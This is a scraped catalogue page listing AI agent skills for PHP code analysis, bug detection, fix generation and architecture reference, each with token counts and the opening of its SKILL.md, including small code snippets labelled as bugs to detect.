### Event Sourcing Fundamentals
```
Traditional Storage: Event Sourcing:
┌─────────────────┐ ┌─────────────────┐
│ Current State │ │ Event Stream │
│ ───────────── │ │ ───────────── │
│ Order #123 │ │ 1. OrderCreated│View the complete source on GitHubexplain-business-process
When your agent uses it
Identifies business workflows with actors, steps, preconditions, and outcomes. Translates method chains into natural language business processes like "When customer places order, system validates inventory..."
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,587 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Process Detection
- Analysis Process
- Process Documentation Template
- Output Format
- Process Complexity Indicators
- Integration
Files
SKILL.mdcore6,629 bytesSKILL.mdcore6,629 bytesSKILL.mdcore6,629 bytesSKILL.mdcore6,629 bytes
Read SKILL.md
# Business Process Explainer
## Overview
Identifies and documents business processes implemented in code. Translates technical method chains, event flows, and service orchestrations into natural language descriptions with actors, steps, preconditions, and outcomes.
## Process Detection
### Use Case / Command Handler Analysis
```bash
# Find use cases and command handlers (primary business operations)
Grep: "class.*UseCase|class.*Handler" --glob "**/Application/**/*.php"
Grep: "function (execute|handle|__invoke)" --glob "**/Application/**/*.php"View the complete source on GitHubexplain-output-template
When your agent uses it
Output format templates for all 5 explanation modes — quick (compact), deep (full analysis with diagrams), onboarding (project guide), business (non-technical), qa (interactive Q&A).
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
2,358 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Mode Selection
- Template: Quick Mode
- Template: Deep Mode
- Components
- Business Processes
- Data Flow
- Domain Model
- State Machines (if applicable)
- Business Rules
- Async Flows (if applicable)
- Quality Observations
- Suggested Documentation
- Project Structure
- Bounded Contexts / Modules
- Key Business Processes
- API Endpoints (Top Routes)
- Domain Model
- Data Flow Overview
- Async Communication
- How to Navigate the Code
- Glossary
- Suggested Documentation
- Limitations & Constraints
- Documentation Suggestion Block
- Integration
Files
SKILL.mdcore9,656 bytes
Read SKILL.md
# Explain Output Templates
## Overview
Provides structured output templates for the 5 explanation modes. Each template defines sections, content depth, and formatting requirements for consistent, high-quality explanations.
## Mode Selection
| Mode | Target | Depth | Audience | Trigger |
|------|--------|-------|----------|---------|
| `quick` | Single file | 1-2 screens | Developer | File path |
| `deep` | Module/directory | Full analysis | Senior dev / Architect | Directory path |
| `onboarding` | Entire project | Comprehensive guide | New team member | `.` or project root |
| `business` | Feature/process | Non-technical | PM / Stakeholder | Explicit mode |View the complete source on GitHubextract-business-rules
When your agent uses it
Extracts validation rules, guards, business constraints, authorization rules, and invariants from domain code. Maps technical implementations to business terminology for non-technical stakeholders.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,776 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Rule Categories
- Detection Patterns
- Analysis Process
- Output Format
- Integration
Files
SKILL.mdcore6,882 bytesSKILL.mdcore6,882 bytesSKILL.mdcore6,882 bytesSKILL.mdcore6,882 bytesSKILL.mdcore6,882 bytesSKILL.mdcore6,882 bytes
Read SKILL.md
# Business Rules Extractor
## Overview
Identifies and catalogs business rules embedded in code — validation constraints, domain invariants, guards, authorization rules, and business policies. Translates technical implementations into business language.
## Rule Categories
| Category | Code Pattern | Business Meaning |
|----------|-------------|-----------------|
| Validation | Assert, validate, check | Input requirements |
| Invariant | Guard clause in constructor/method | Business constraint |
| Authorization | isAllowed, canPerform, Policy | Access control |
| Business Policy | If/match with domain logic | Business decision |View the complete source on GitHubextract-domain-concepts
When your agent uses it
Maps domain model components — Entities, Value Objects, Aggregates, Services, Events, Repositories. Builds Ubiquitous Language glossary connecting code names to business terminology.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,680 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Domain Component Detection
- Analysis Process
- Output Format
- Glossary Building Rules
- Integration
Files
SKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytesSKILL.mdcore6,920 bytes
Read SKILL.md
# Domain Concepts Extractor
## Overview
Extracts and catalogs all domain model components from the codebase, maps relationships between them, and builds a Ubiquitous Language glossary that connects technical class names to business concepts.
## Domain Component Detection
### Entities
```bash
# DDD entities
Glob: "**/Domain/**/Entity/*.php"
Glob: "**/Domain/**/*Entity.php"View the complete source on GitHubextract-state-machine
When your agent uses it
Detects state machines from enums, status fields, switch/match statements, and transition methods. Extracts states, transitions, guards, and actions to build state diagram data.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,638 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Detection Patterns
- Analysis Process
- Output Format
- State Machine Quality Indicators
- Common Anti-Patterns
- Integration
Files
SKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytes
Read SKILL.md
# State Machine Extractor
## Overview
Identifies implicit and explicit state machines in code — status fields, enum-based states, transition methods, guard conditions, and actions. Produces structured state diagram data for visualization.
## Detection Patterns
### Enum-Based States
```bash
# Status/State enums
Grep: "enum.*(Status|State)" --glob "**/*.php"
View the complete source on GitHubfind-boundary-issues
When your agent uses it
Detects boundary issues in PHP code. Finds array index out of bounds, empty collection access, off-by-one errors, integer overflow, string length issues.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytesSKILL.mdcore3,379 bytes
Read SKILL.md
# Boundary Issue Detection
Analyze PHP code for boundary and range violations.
## Detection Patterns
### 1. Array Index Out of Bounds
```php
// BUG: No bounds check
$items = [1, 2, 3];
$last = $items[count($items)]; // Off by one, should be count - 1
// BUG: Hardcoded indexView the complete source on GitHubfind-exception-issues
When your agent uses it
Detects exception handling issues in PHP code. Finds swallowed exceptions, generic catches, missing exception handling, re-throwing without context, exception in finally.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,208 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytesSKILL.mdcore4,649 bytes
Read SKILL.md
# Exception Issue Detection
Analyze PHP code for exception handling problems.
## Detection Patterns
### 1. Swallowed Exceptions (Empty Catch)
```php
// BUG: Exception completely ignored
try {
$this->riskyOperation();
} catch (Exception $e) {
// Empty catch block - bug hiddenView the complete source on GitHubfind-infinite-loops
When your agent uses it
Detects infinite loop risks in PHP code. Finds missing break conditions, incorrect loop variables, unbounded recursion, circular references.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,583 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Prevention Patterns
- Output Format
Files
SKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytesSKILL.mdcore5,833 bytes
Read SKILL.md
# Infinite Loop Detection
Analyze PHP code for potential infinite loops and unbounded execution.
## Detection Patterns
### 1. Missing Break Conditions
```php
// BUG: No exit condition
while (true) {
$item = $queue->pop();
process($item);
// No break when queue is emptyView the complete source on GitHubfind-logic-errors
When your agent uses it
Detects logic errors in PHP code. Finds incorrect conditions, wrong operators, missing switch cases, inverted logic, short-circuit evaluation issues.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
850 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Output Format
Files
SKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytesSKILL.mdcore2,985 bytes
Read SKILL.md
# Logic Error Detection
Analyze PHP code for logic errors that cause incorrect behavior.
## Detection Patterns
### 1. Incorrect Comparison Operators
```php
// BUG: Assignment instead of comparison
if ($status = 'active') { } // Should be ===
// BUG: Wrong comparison type
if ($count == '0') { } // 0, 0.0, '', null and false all match — use === '0'View the complete source on GitHubfind-null-pointer-issues
When your agent uses it
Detects null pointer issues in PHP code. Finds property/method access on null, missing null checks, nullable returns without handling, optional chaining gaps.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
840 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytes
Read SKILL.md
# Null Pointer Detection
Analyze PHP code for null pointer dereference issues.
## Detection Patterns
### 1. Nullable Return Without Check
```php
// BUG: No null check after find
$user = $repository->find($id);
$user->getName(); // May be null
// BUG: Chained calls on nullableView the complete source on GitHubfind-race-conditions
When your agent uses it
Detects race conditions in PHP code. Finds shared mutable state, check-then-act patterns, TOCTOU vulnerabilities, concurrent modification issues.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Fixes
- Output Format
Files
SKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytesSKILL.mdcore4,074 bytes
Read SKILL.md
# Race Condition Detection
Analyze PHP code for concurrency issues and race conditions.
## Detection Patterns
### 1. Check-Then-Act (TOCTOU)
```php
// BUG: Time-of-check to time-of-use
if (file_exists($path)) {
$content = file_get_contents($path); // File may be deleted
}
View the complete source on GitHubfind-resource-leaks
When your agent uses it
Detects resource leaks in PHP code. Finds unclosed file handles, database connections not released, streams not freed, missing finally blocks, temporary files not cleaned.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,254 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytesSKILL.mdcore4,634 bytes
Read SKILL.md
# Resource Leak Detection
Analyze PHP code for resource leak issues.
## Detection Patterns
### 1. Unclosed File Handles
```php
// BUG: File handle not closed
$file = fopen('data.txt', 'r');
$content = fread($file, filesize('data.txt'));
// Missing: fclose($file);
View the complete source on GitHubfind-type-issues
When your agent uses it
Detects type issues in PHP code. Finds implicit type coercion, mixed types in comparisons, unsafe casting, type mismatches in returns.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,395 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytesSKILL.mdcore4,739 bytes
Read SKILL.md
# Type Issue Detection
Analyze PHP code for type safety issues.
## Detection Patterns
### 1. Implicit Type Coercion
```php
// BUG: String to int coercion
$count = '10abc'; // PHP converts to 10
$total = $count + 5; // 15, not error
// BUG: Array comparisonView the complete source on GitHubgenerate-bug-fix
When your agent uses it
Generates minimal, safe bug fixes for PHP 8.4. Provides fix templates for each bug category with DDD/Clean Architecture patterns.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
771 tokensWhen the skill is activated
Reference documents
3,023 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Fix Generation Principles
- Fix Templates by Category
- Quick Reference
- Fix Composition Rules
Files
SKILL.mdcore3,162 bytesSKILL.mdcore3,162 bytesSKILL.mdcore3,162 bytesSKILL.mdcore3,162 bytesSKILL.mdcore3,162 bytesSKILL.mdcore3,162 bytesreferences/templates.mddoc11,877 bytes
Read SKILL.md
# Bug Fix Generator
Templates and patterns for generating minimal, safe bug fixes.
## Fix Generation Principles
### 1. Minimal Change
- Fix only what's broken
- No refactoring
- No "improvements"
- No formatting changes
### 2. Safe Change
- Preserve existing behaviorView the complete source on GitHubgenerate-ci-fix
When your agent uses it
Generates minimal, safe fixes for CI configuration issues. Provides fix templates for dependency, test, lint, infrastructure, Docker, and timeout failures.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
2,051 tokensWhen the skill is activated
Reference documents
922 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Fix Generation Principles
- Fix Templates by Category
- Fix Composition Rules
- Verification Commands
- Rollback Instructions
Files
SKILL.mdcore7,616 bytesSKILL.mdcore7,616 bytesSKILL.mdcore7,616 bytesSKILL.mdcore7,616 bytesSKILL.mdcore7,616 bytesSKILL.mdcore7,616 bytesreferences/workflow.mddoc4,178 bytes
Read SKILL.md
# CI Fix Generator
Templates and patterns for generating minimal, safe CI configuration fixes.
## Fix Generation Principles
### 1. Minimal Change
- Fix only what's broken
- Don't restructure entire pipeline
- Don't add unrelated improvements
- Preserve existing job structure
### 2. Safe Change
- Preserve existing behaviorView the complete source on GitHubgetting-started-template
When your agent uses it
Generates Getting Started guides for PHP projects. Creates step-by-step tutorials for first-time users.
What it loads into context
Frontmatter
27 tokensAlways available to the agent
SKILL.md
1,699 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Document Structure
- Section Templates
- Complete Example
- Installation
- Your First Request
- Create Something Useful
- Next Steps
Files
SKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytesSKILL.mdcore6,616 bytes
Read SKILL.md
# Getting Started Template Generator
Generate beginner-friendly quick start guides.
## Document Structure
```markdown
# Getting Started
## Prerequisites
{what users need before starting}
## Installation
{step-by-step installation}View the complete source on GitHubgrasp-knowledge
When your agent uses it
GRASP principles knowledge base for PHP 8.4 projects. Provides quick reference for 9 responsibility assignment patterns (Information Expert, Creator, Controller, Low Coupling, High Cohesion, Polymorphism, Pure Fabrication, Indirection, Protected Variations). Use for architecture audits and design decisions.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,301 tokensWhen the skill is activated
Reference documents
23,935 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Quick Detection Patterns
- Quick PHP 8.4 Examples
- GRASP & DDD Integration
- References
- Assets
Files
SKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesassets/report-template.mddoc5,333 bytesreferences/antipatterns.mddoc11,015 bytesreferences/controller.mddoc10,227 bytesreferences/creator.mddoc8,928 bytesreferences/high-cohesion.mddoc10,305 bytesreferences/indirection.mddoc10,835 bytesreferences/information-expert.mddoc6,780 bytesreferences/low-coupling.mddoc9,721 bytesreferences/polymorphism.mddoc11,526 bytesreferences/protected-variations.mddoc11,289 bytesreferences/pure-fabrication.mddoc10,801 bytes
Read SKILL.md
# GRASP Principles Knowledge Base
## Overview
GRASP (General Responsibility Assignment Software Patterns) provides guidelines for assigning responsibilities to classes and objects in object-oriented design.
| Principle | Core Question | Goal |
|-----------|---------------|------|
| **Information Expert** | Who has the data? | Assign to class with information |
| **Creator** | Who creates objects? | Assign creation responsibility |
| **Controller** | Who handles system events? | Coordinate use case flow |
| **Low Coupling** | How to reduce dependencies? | Minimize interconnections |
| **High Cohesion** | How to focus responsibilities? | Keep related things together |
| **Polymorphism** | How to handle type variations? | Use polymorphic operations |View the complete source on GitHubhexagonal-knowledge
When your agent uses it
Hexagonal Architecture (Ports & Adapters) knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Hexagonal Architecture audits.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,592 tokensWhen the skill is activated
Reference documents
10,557 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Hexagonal Patterns
- References
Files
SKILL.mdcore9,614 bytesSKILL.mdcore9,614 bytesSKILL.mdcore9,614 bytesSKILL.mdcore9,614 bytesSKILL.mdcore9,614 bytesreferences/adapters-patterns.mddoc13,062 bytesreferences/antipatterns.mddoc13,412 bytesreferences/ports-patterns.mddoc8,065 bytesreferences/testing-patterns.mddoc13,209 bytes
Read SKILL.md
# Hexagonal Architecture Knowledge Base
Quick reference for Hexagonal Architecture (Ports & Adapters) patterns and PHP implementation guidelines.
## Core Principles
### Hexagonal Architecture Overview
```
┌─────────────────────────────┐
│ PRIMARY ACTORS │
│ (Users, External Apps) │
└──────────────┬──────────────┘
│View the complete source on GitHubidentify-entry-points
When your agent uses it
Finds application entry points — Controllers, Actions, Console Commands, Event Handlers, Message Consumers, route definitions, middleware, and scheduled tasks. Maps HTTP/CLI/async entry points to their handlers.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
1,651 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Detection Patterns
- Analysis Process
- Output Format
- Entry Point Quality Indicators
- Integration
Files
SKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytesSKILL.mdcore6,610 bytes
Read SKILL.md
# Entry Points Identifier
## Overview
Identifies all entry points into the application — HTTP routes, CLI commands, event handlers, message consumers, and scheduled tasks. Maps each entry point to its handler and the business operation it triggers.
## Detection Patterns
### HTTP Entry Points
#### Controllers / Actions
```bash
# Symfony controllersView the complete source on GitHublaravel-knowledge
When your agent uses it
Laravel framework knowledge base. Provides architecture, DDD integration, Eloquent persistence, service container, security, queues, events, infrastructure components, testing, and antipatterns for Laravel PHP projects.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
1,599 tokensWhen the skill is activated
Reference documents
23,642 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Laravel Patterns
- References
Files
SKILL.mdcore7,709 bytesSKILL.mdcore7,709 bytesSKILL.mdcore7,709 bytesSKILL.mdcore7,709 bytesreferences/antipatterns.mddoc13,073 bytesreferences/architecture.mddoc7,178 bytesreferences/ddd-integration.mddoc10,178 bytesreferences/dependency-injection.mddoc8,327 bytesreferences/event-system.mddoc8,448 bytesreferences/infrastructure-components.mddoc10,341 bytesreferences/persistence.mddoc8,392 bytesreferences/queues-advanced.mddoc10,811 bytesreferences/routing-http.mddoc7,588 bytesreferences/security.mddoc8,501 bytesreferences/testing.mddoc9,683 bytes
Read SKILL.md
# Laravel Knowledge Base
Quick reference for Laravel framework patterns, DDD integration strategies, and PHP 8.4 best practices for building scalable Laravel applications.
## Core Principles
### Service Providers
Service Providers are the central place to configure and bootstrap the application. All bindings, event listeners, middleware, and routes are registered through providers.
### Facades
Facades provide a static-like interface to classes in the service container. Prefer dependency injection over Facades in Domain and Application layers; Facades are acceptable in Presentation and Infrastructure layers.
View the complete source on GitHublayer-arch-knowledge
When your agent uses it
Layered Architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for traditional N-tier/Layered Architecture audits.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,841 tokensWhen the skill is activated
Reference documents
11,377 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Layered Architecture Patterns
- References
Files
SKILL.mdcore10,819 bytesSKILL.mdcore10,819 bytesSKILL.mdcore10,819 bytesSKILL.mdcore10,819 bytesSKILL.mdcore10,819 bytesreferences/antipatterns.mddoc14,387 bytesreferences/dto-patterns.mddoc13,256 bytesreferences/layer-communication.mddoc11,747 bytesreferences/layer-responsibilities.mddoc12,890 bytes
Read SKILL.md
# Layered Architecture Knowledge Base
Quick reference for Layered (N-Tier) Architecture patterns and PHP implementation guidelines.
## Core Principles
### Layered Architecture Overview
```
┌─────────────────────────────────────────────────────────────────┐
│ PRESENTATION LAYER │
│ (Controllers, Views, API Endpoints, CLI) │
│ │
│ Responsibilities: │View the complete source on GitHubmap-async-flows
When your agent uses it
Finds queue publishing (RabbitMQ, Redis), event dispatching, webhooks, and scheduled tasks. Documents synchronous-to-asynchronous boundaries, message formats, consumer chains, and retry policies.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,869 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Detection Patterns
- Analysis Process
- Output Format
- Async Flow Quality Indicators
- Integration
Files
SKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytes
Read SKILL.md
# Async Flow Mapper
## Overview
Identifies all asynchronous communication patterns in the codebase — message queues, event dispatching, webhooks, scheduled tasks, and background jobs. Documents the sync-to-async boundaries, message formats, consumer chains, and error handling strategies.
## Detection Patterns
### Message Queue Publishing
```bash
# RabbitMQ (php-amqplib, Symfony Messenger)
Grep: "AMQPMessage|AMQPChannel|AMQPConnection" --glob "**/*.php"
Grep: "basic_publish|queue_declare|exchange_declare" --glob "**/*.php"View the complete source on GitHubmermaid-template
When your agent uses it
Generates Mermaid diagrams for technical documentation. Provides templates for flowcharts, sequence diagrams, class diagrams, ER diagrams, and C4 models.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
2,250 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Diagram Templates
- Node Shapes Reference
- Arrow Reference
- Styling
- Generation Instructions
Files
SKILL.mdcore8,309 bytes
Read SKILL.md
# Mermaid Diagram Template Generator
Generate Mermaid diagrams for technical documentation.
## Diagram Templates
### Flowchart - Basic
```mermaid
flowchart TD
A[Start] --> B{Decision}
B -->|Yes| C[Action 1]
B -->|No| D[Action 2]
C --> E[End]View the complete source on GitHubmessage-queue-knowledge
When your agent uses it
Message Queue knowledge base. Provides broker comparison, delivery guarantees, consumer groups, and advanced RabbitMQ/Kafka patterns for messaging audits and generation.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,227 tokensWhen the skill is activated
Reference documents
4,714 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Broker Comparison
- Message Delivery Guarantees
- Consumer Groups Overview
- Ordering Guarantees
- When to Use Which Broker
- Detection Patterns
- References
Files
SKILL.mdcore4,965 bytesSKILL.mdcore4,965 bytesSKILL.mdcore4,965 bytesreferences/kafka-advanced.mddoc10,716 bytesreferences/rabbitmq-advanced.mddoc8,375 bytes
Read SKILL.md
# Message Queue Knowledge Base
Quick reference for message broker operations and advanced messaging patterns. Focuses on broker-level operations — for event-driven patterns, see `eda-knowledge`.
## Broker Comparison
| Feature | RabbitMQ | Apache Kafka | Amazon SQS | Redis Streams |
|---------|----------|-------------|------------|---------------|
| Model | Message queue | Event log | Message queue | Event log |
| Ordering | Per-queue FIFO | Per-partition | Best-effort (FIFO available) | Per-stream |
| Retention | Until consumed | Time/size-based | 4-14 days | Memory/size-based |
| Replay | No (once consumed) | Yes (offset seek) | No | Yes (ID-based) |
| Consumer Groups | Competing consumers | Native support | Not built-in | Native (XREADGROUP) |
| Throughput | ~50K msg/s | ~1M msg/s | ~3K msg/s per queue | ~100K msg/s |View the complete source on GitHubmicroservices-knowledge
When your agent uses it
Microservices Architecture knowledge base. Provides service decomposition, communication patterns, API gateway, service discovery, and data management guidelines for architecture audits and generation.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,675 tokensWhen the skill is activated
Reference documents
3,942 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Service Communication Patterns
- API Gateway Patterns
- Service Discovery
- Data Management
- When to Use Microservices vs Monolith
- Detection Patterns
- Advanced Patterns
- References
Files
SKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesreferences/antipatterns.mddoc7,626 bytesreferences/patterns.mddoc11,116 bytes
Read SKILL.md
# Microservices Architecture Knowledge Base
Quick reference for microservices architecture patterns and PHP implementation guidelines.
## Core Principles
### Architecture Overview
```
┌──────────────────────────────────────────────────────────────────────────┐
│ MICROSERVICES ARCHITECTURE │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────────┐ ┌──────────────────┐ │View the complete source on GitHubno-framework-knowledge
When your agent uses it
